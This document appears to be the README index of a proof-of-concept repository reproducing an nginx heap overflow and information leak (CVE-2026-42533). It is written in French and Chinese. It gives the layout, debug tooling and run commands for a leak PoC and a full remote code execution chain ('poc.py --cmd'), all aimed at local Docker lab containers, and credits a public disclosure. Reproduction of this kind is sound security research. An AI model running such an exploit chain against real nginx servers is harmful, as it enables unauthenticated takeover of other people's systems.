
Reproduction de preuve de concept d'un débordement de tas et d'une fuite d'informations dans nginx (CVE-2026-42533) avec deux surfaces d'attaque, analyse de débogage et une chaîne RCE complète.
nginx (0.9.6–1.30.3 / mainline ≤1.31.2) — dépassement de tas pré-authentification + fuite d'informations dans le moteur de scripts à valeur complexe ; CVSS 9.2. La même cause racine a deux surfaces de déclenchement : HTTP (location regex + map regex) et stream (ssl_preread + SNI + map regex).
L'analyse technique approfondie et l'erratum se trouvent dans ANALYSIS.md.
.
├── ANALYSIS.md # 深度分析(根因 / 两遍执行 / 动态证据 / RCE 链路 + 勘误)
├── README.md # 本文件(索引)
├── http/ # ① HTTP 变体黑盒复现(classmethod 触发面)
│ ├── nginx.conf # 漏洞配置(regex location + regex map)
│ ├── docker-compose.yml # nginx:1.30.3(vuln,:8081) vs 1.30.4(fixed,:8082)
│ ├── test.sh # clobber / overflow / leak 三方向测试
│ └── repro.py # PoC,自动提取泄漏的堆指针/残留数据
├── debug/ # ② HTTP 变体 debug 构建 + pwndbg/gdb 动态分析
│ ├── Dockerfile(.buster) / docker-compose.yml(.buster) / nginx.debug.conf
│ ├── gdb.py # 两遍执行追踪 + LEN/VALUE 不一致告警(核心)
│ ├── attach.sh / extract-symbols.sh / trace_one.sh
│ ├── recon/ # 堆布局侦察脚本(recon.py / recon2/4/5.py)
│ └── README.md # 详见该目录
└── stream-rift/ # ③ stream 变体完整 RCE 链(已复现 echo pwned)
├── Dockerfile / docker-compose.yml / nginx.conf / server.py / entrypoint.sh
├── poc.py # 完整链(泄漏→喷射→伪造 pool→system),技术来自公开披露
└── README.md # 归属声明 + 运行说明
debug/src、debug/symbols*、debug/logs*由extract-symbols.sh生成(DWARF 二进制 + 源码树),已.gitignore,可重建。
cd http
docker compose up -d # 1.30.3(vuln) + 1.30.4(fixed)
./test.sh # 三方向对比
python3 repro.py --vuln http://localhost:8081 --fixed http://localhost:8082 # 解析泄漏
cd debug
docker compose build && docker compose up -d # debug 构建(--with-debug + DWARF)
./extract-symbols.sh # 拉二进制+源码到本机供 gdb
./attach.sh # gdbserver 附着 worker(:2333)
gdb -x gdb.py # pwndbg 加载;c 后从宿主发请求
Voir debug/README.md。
echo pwned > /tmp/pwn)cd stream-rift
docker compose build && docker compose up -d # nginx 1.31.1 (jammy/glibc2.35)
python3 poc.py --host 127.0.0.1 --port 29443 --leak # 泄漏 heap/libc/system
python3 poc.py --host 127.0.0.1 --port 29443 --cmd 'echo pwned > /tmp/pwn'
docker compose exec nginx-rce cat /tmp/pwn # → pwned(属主 nobody = worker)
Attribution technique à la divulgation publique DepthFirstDisclosures/Nginx-Rift ; voir stream-rift/README.md.
| Impact | Variante HTTP | Variante stream |
|---|---|---|
| Fuite d'informations (heap/PIE + données résiduelles) | ✅ Stable | ✅ Stable |
| DoS (abandon du worker) | ✅ Stable | ✅ Stable |
| Exécution de code arbitraire | ❌ Aucun PoC public (ingénierie indépendante) | ✅ Reproduite (stream-rift/) |
La chaîne complète stream fonctionne sur glibc 2.35 moderne (sans assouplissement) : la dispatch du cleanup précède le free() de ngx_destroy_pool, et system() s'exécute avant l'abort. Fiabilité « partielle » (heap feng shui, environ 1 à 2 hits par tentative, nécessite des retries) ; les offsets sont épinglés à ce build.
Docker + Compose ; gdb local (+ pwndbg, chargé comme vous préférez) ; pip install requests (http/repro.py).